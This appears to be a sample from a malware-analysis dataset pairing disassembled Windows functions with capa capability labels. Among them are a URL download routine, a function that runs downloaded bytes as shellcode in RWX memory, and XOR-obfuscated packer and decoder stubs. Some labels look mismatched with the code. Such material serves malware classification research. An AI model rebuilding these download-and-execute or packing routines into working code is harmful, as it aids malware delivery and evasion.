joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4092d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406df0
xor eax, eax
push ebp
push 0x4094f5
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 4], 0
jne 0x409310
push 0x105
lea eax, [ebp - 0x21a]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
jmp 0x40932a
push 0x105
mov eax, dword [ebp - 4]
call fcn.0040772c
push eax
lea eax, [ebp - 0x21a]
push eax
call sub.kernel32.dll_lstrcpynW
cmp word [ebp - 0x21a], 0
je 0x4094df
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x409504
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4093f9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x409504
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4093f9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x409540
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4093f9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x409540
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4093f9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x409574
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
je 0x4093f9
lea eax, [ebp - 0xc]
push eax
push 0xf0019
push 0
push 0x4095a8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x4094df
xor eax, eax
push ebp
push 0x4094d8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x21a]
mov edx, 0x105
call fcn.004090dc
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x409468
mov eax, dword [ebp - 0x10]
call fcn.00404438
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x21a]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407784
jmp 0x4094b3
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0
push 0x4095e8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x4094b3
mov eax, dword [ebp - 0x10]
call fcn.00404438
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
push 0x4095e8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.00407784
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4094df
cmp dword [ebp - 8], 0
je 0x4094ce
mov eax, dword [ebp - 8]
call fcn.00404454
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4094fc
lea eax, [ebp - 4]
call fcn.00406d0c
ret
Function at 0x4097d8
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00406df0
xor eax, eax
push ebp
push 0x409898
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
lea eax, [ebp - 0xc]
push eax
push 3
call sub.kernel32.dll_GetUserDefaultUILanguage
movzx eax, ax
push eax
call sub.kernel32.dll_GetLocaleInfoW
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.004077c0
mov ecx, dword [ebp - 0x10]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00407970
mov eax, dword [ebx]
call fcn.004096a0
test al, al
jne 0x409875
mov word [ebp - 8], 0
lea eax, [ebp - 0x14]
lea edx, [ebp - 0xc]
mov ecx, 4
call fcn.004077c0
mov ecx, dword [ebp - 0x14]
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00407970
mov eax, dword [ebx]
call fcn.004096a0
test al, al
jne 0x409875
mov eax, ebx
call fcn.00406d0c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40989f
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00406d6c
lea eax, [ebp - 4]
call fcn.00406d0c
ret

Function at 0x40a180
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret

Function at 0x41849c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x4184f5
test eax, edx
je 0x4184f8
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x4184b3
movzx eax, word [eax]
sub eax, ecx
jmp 0x4184da
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x4184db
add ecx, 4
js 0x4184cb
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x4184d8
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x4184da
xor eax, eax
ret
test eax, eax
je 0x418504
test edx, edx
jne 0x4184a4
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret
Function at 0x418a18
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebx, edx
mov ebp, eax
mov byte [esp], 0
mov eax, ebp
test eax, eax
je 0x418a30
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x418a38
mov al, 1
jmp 0x418a55
movzx esi, word [ebp]
mov eax, esi
call fcn.0040b168
test al, al
jne 0x418a51
cmp si, 0x5f
je 0x418a51
xor eax, eax
jmp 0x418a53
mov al, 1
xor al, 1
test al, al
jne 0x418ae5
test bl, bl
je 0x418aa5
mov eax, ebp
test eax, eax
je 0x418a6c
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
sub ebx, 2
jl 0x418ae1
inc ebx
mov esi, 2
movzx edi, word [ebp + esi*2 - 2]
mov eax, edi
call fcn.0040b1f4
test al, al
jne 0x418a99
cmp di, 0x5f
je 0x418a99
cmp di, 0x2e
je 0x418a99
xor eax, eax
jmp 0x418a9b
mov al, 1
test al, al
je 0x418ae5
inc esi
dec ebx
jne 0x418a79
jmp 0x418ae1
mov eax, ebp
test eax, eax
je 0x418ab0
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
sub ebx, 2
jl 0x418ae1
inc ebx
mov esi, 2
movzx edi, word [ebp + esi*2 - 2]
mov eax, edi
call fcn.0040b1f4
test al, al
jne 0x418ad7
cmp di, 0x5f
je 0x418ad7
xor eax, eax
jmp 0x418ad9
mov al, 1
test al, al
je 0x418ae5
inc esi
dec ebx
jne 0x418abd
mov byte [esp], 1
movzx eax, byte [esp]
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x41d080
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x200]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41d0b9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x200]
mov eax, ebx
call fcn.00406e64
jmp 0x41d0c2
mov eax, ebx
mov edx, esi
call fcn.004070bc
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x41d0cc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, ecx
mov esi, edx
mov ebx, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push ebx
call sub.kernel32.dll_GetLocaleInfoW_1
test eax, eax
jle 0x41d0ee
movzx eax, word [esp]
jmp 0x41d0f0
mov eax, edi
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x41ddc4
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff778
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 4], ecx
xor ecx, ecx
push ebp
push 0x41dee9
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0x400
lea ecx, [ebp - 0x888]
call fcn.0041dbcc
mov esi, eax
mov eax, dword [0x44cb34]
cmp byte [eax], 0
je 0x41de91
mov eax, dword [0x44c9cc]
call fcn.00404b1c
call fcn.0040458c
push 0
push 0
push 0
push 0
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
mov ebx, eax
push ebx
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x41dd94]
call fcn.00408700
add esp, 4
push 0
push 0
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push 0
push 1
call sub.kernel32.dll_WideCharToMultiByte_1
push 0
lea eax, [ebp - 8]
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [ebp - 8]
push eax
push 2
push 0x41df04
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x41decd
push 0x40
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x44c994]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x44fc48]
call fcn.004087c4
push eax
call sub.user32.dll_LoadStringW_1
push 0x2010
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x888]
push eax
push 0
call sub.user32.dll_MessageBoxW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41def0
lea eax, [ebp - 4]
mov edx, dword [0x41dd94]
call fcn.0040870c
ret

Function at 0x41f760
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffdf8
mov ebx, eax
mov eax, ebx
call fcn.004071e4
mov ebp, eax
push ebp
push 0
push 0
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040a160
mov edi, eax
cmp edi, 0x104
jbe 0x41f707
mov eax, edi
add eax, eax
call fcn.00404438
mov esi, eax
jmp 0x41f709
mov esi, esp
push ebp
push esi
push edi
mov ecx, ebx
xor edx, edx
mov eax, 0xfde9
call fcn.0040a160
mov eax, esi
push eax
call sub.user32.dll_CharUpperW
xor ebx, ebx
mov eax, edi
dec eax
test eax, eax
jl 0x41f744
inc eax
xor edx, edx
mov ecx, ebx
shl ecx, 5
shr ebx, 0x1b
or ecx, ebx
mov ebx, ecx
movzx ecx, word [esi + edx*2]
xor ebx, ecx
inc edx
dec eax
jne 0x41f72e
mov eax, esp
cmp esi, eax
je 0x41f751
mov eax, esi
call fcn.00404454
mov eax, ebx
add esp, 0x208
pop ebp
pop edi
pop esi
pop ebx
ret
push esi
push ebx
mov esi, eax
xor eax, eax
push esi
rol eax, 5
mov bl, byte [esi]
test bl, 0x80
jne 0x41f78c
cmp bl, 0
je 0x41f788
cmp bl, 0x41
jl 0x41f783
cmp bl, 0x5a
jg 0x41f783
or bl, 0x20
xor al, bl
inc esi
jmp 0x41f767
pop ecx
pop ebx
pop esi
ret
pop eax
pop ebx
pop esi
jmp 0x41f6c8

Function at 0x41ff74
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffff800
mov ebx, ecx
mov word [esp], 0
push 0x400
lea ecx, [esp + 4]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoW_1
mov eax, ebx
mov edx, esp
mov ecx, 0x400
call fcn.004077c0
add esp, 0x800
pop ebx
ret
Function at 0x445f88
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
mov edx, dword [0x414710]
call fcn.0040870c
push 0
push 0
push 0
push 1
push 0
call sub.wininet.dll_InternetOpenW
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4460d5
xor eax, eax
push ebp
push 0x4460ce
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80000000
push 0
push 0
mov eax, esi
call fcn.0040772c
push eax
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetOpenUrlW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x4460b7
mov dl, 1
mov eax, dword [0x4325f4]
call fcn.004054dc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4460a7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 0x400
lea eax, [ebp - 0x410]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetReadFile
cmp dword [ebp - 0xc], 0
jbe 0x446044
lea edx, [ebp - 0x410]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.0043ce2c
cmp dword [ebp - 0xc], 0
jne 0x446014
push 0
push 0
mov eax, dword [ebp - 0x10]
call fcn.0043cb98
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx]
push eax
mov eax, ebx
mov ecx, 1
mov edx, dword [0x414710]
call fcn.00408700
add esp, 4
mov eax, dword [ebx]
call fcn.0040854c
test eax, eax
jle 0x446091
mov eax, dword [ebx]
call fcn.0040854c
push eax
mov edx, dword [ebx]
mov eax, dword [ebp - 0x10]
pop ecx
call fcn.0043cdcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4460ae
mov eax, dword [ebp - 0x10]
call fcn.0040550c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4460d5
mov eax, dword [ebp - 4]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4460dc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, ebx
call fcn.0040854c
test eax, eax
jle 0x446131
push 0x40
push 0x3000
mov eax, ebx
call fcn.0040854c
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
test esi, esi
je 0x44612c
mov eax, ebx
call fcn.0040854c
push eax
mov eax, ebx
mov edx, esi
pop ecx
call fcn.004045dc
mov eax, esi
call eax
push 0x8000
push 0
push esi
call sub.kernel32.dll_VirtualFree_1
jmp 0x446131
call fcn.0041f8bc
pop esi
pop ebx
ret
Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad784c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x3ad784cf
pop dword [ebp - 8]
mov eax, 0xc9cc6bab
add eax, 0x710b1924
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3af92
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xbd13e637
add ecx, 0x42ec6f2b
xor ebx, ebx
add ebx, eax
mov esi, 0xc696b12d
add esi, 0x7441bcd3
add esi, dword [ebp - 8]
mov edi, 0xafbc069b
add edi, 0x4ea9e073
add dword [ebp - 4], eax
mov edx, dword [esi]
xor edx, edi
sub dword [ebp - 4], esi
mov dword [ebx], edx
add ebx, 0x531e145d
sub ebx, 0x531e1459
add esi, 0xcdac33dd
add esi, 0x3253cc27
loop 0x3ad7852b
add eax, 0xd7718ef4
add eax, 0x288fb967
xor ebx, ebx
add ebx, eax
add eax, 0xf8b193ed
add eax, 0x74e6c18
mov ecx, 0xcc6647e4
add ecx, 0x6e70b81c
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x4015fe
Capabilities:
Query environment variable

Disassembly:
mov eax, dword [0x2d5ebac]
push esi
mov esi, eax
shr esi, 3
push edi
mov edi, dword [0x2d5eb04]
test esi, esi
je 0x401644
push ebx
xor ebx, ebx
cmp eax, 0x959
jne 0x40162f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ecx, edi
call fcn.004014a2
add edi, 8
dec esi
je 0x401643
mov eax, dword [0x2d5ebac]
jmp 0x401617
pop ebx
pop edi
pop esi
ret 4
Function at 0x40cb18
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a36c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00404df5
mov dword [ebp - 0x14], eax
cmp dword [0x465260], esi
jne 0x40cc0b
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40cb98
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40cceb
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40cceb
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40cceb
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x465260], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x465264], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x465268], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x465270], eax
test eax, eax
je 0x40cc08
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46526c], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40cc30
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40cc23
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40cc45
push 4
pop eax
jmp 0x40cced
cmp dword [ebp - 0x14], esi
je 0x40cc45
push dword [0x465260]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40cc2a
mov eax, dword [0x46526c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40cca3
cmp dword [0x465270], edi
je 0x40cca3
push eax
call ebx
push dword [0x465270]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40cca3
test eax, eax
je 0x40cca3
call ecx
test eax, eax
je 0x40cc98
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40cc98
test byte [ebp - 8], 1
jne 0x40cca3
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40ccd3
mov eax, dword [0x465264]
cmp eax, edi
je 0x40ccd0
push eax
call ebx
test eax, eax
je 0x40ccd0
call eax
mov esi, eax
test esi, esi
je 0x40ccd0
mov eax, dword [0x465268]
cmp eax, edi
je 0x40ccd0
push eax
call ebx
test eax, eax
je 0x40ccd0
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x465260]
call ebx
test eax, eax
je 0x40cceb
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40cced
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004040db
mov esp, ebp
pop ebp
ret
Function at 0x417c10
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x14
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov ebx, dword [sym.imp.USER32.dll_GetKeyboardType]
push 1
mov edi, eax
call ebx
push 0x14
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea ecx, [esp + 0xc]
mov edi, eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
push 0x4c6490
mov dword [esp + 0x38], 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
call ebx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test edi, edi
je 0x417c8f
mov edx, dword [0x4c5ac0]
push 0x4c57ac
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push str.GlobalFeedback_Generator
push 0
lea eax, [esp + 0x1c]
push 1
push eax
mov dword [esp + 0x24], 0xc
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
pop edi
pop esi
invalid
invalid
pop edx
dec esp

Function at 0x4ba2dd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c2370
cmp edx, dword [eax]
je 0x4ba2ff
add eax, 8
inc ecx
cmp eax, 0x4c2400
jl 0x4ba2f0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c2370]
jne 0x4ba42d
mov eax, dword [0x4c6d0c]
cmp eax, 1
je 0x4ba407
test eax, eax
jne 0x4ba330
cmp dword [0x4c2298], 1
je 0x4ba407
cmp edx, 0xfc
je 0x4ba42d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4ba367
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004bacc0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bb150
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4ba3aa
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bb150
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bf884
push edi
call fcn.004bd020
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004bacc0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bacd0
lea eax, [ebp - 0xa0]
push 0x4bf864
push eax
call fcn.004bacd0
push dword [esi + 0x4c2374]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bacd0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bcf94
add esp, 0x2c
pop edi
jmp 0x4ba42d
lea eax, [ebp + 8]
lea esi, [esi + 0x4c2374]
push 0
push eax
push dword [esi]
call fcn.004bb150
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x1004f3c2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1004f3fa
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1004db31
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1004db09
jmp 0x1004f406
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x55d05c5d
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
mov esi, 0x6800974
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x40229a
Capabilities:
Terminate process

Disassembly:
mov edx, eax
push edi
push dword [0x403716]
call dword [sym.imp.pdh.dll_PdhCloseLog]
mov eax, 5
add eax, 5
inc eax
xor edi, edi
xor esi, esi
test eax, 0xb
jne 0x4022c9
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
mov edx, eax
mov dword [0x40164f], eax
ret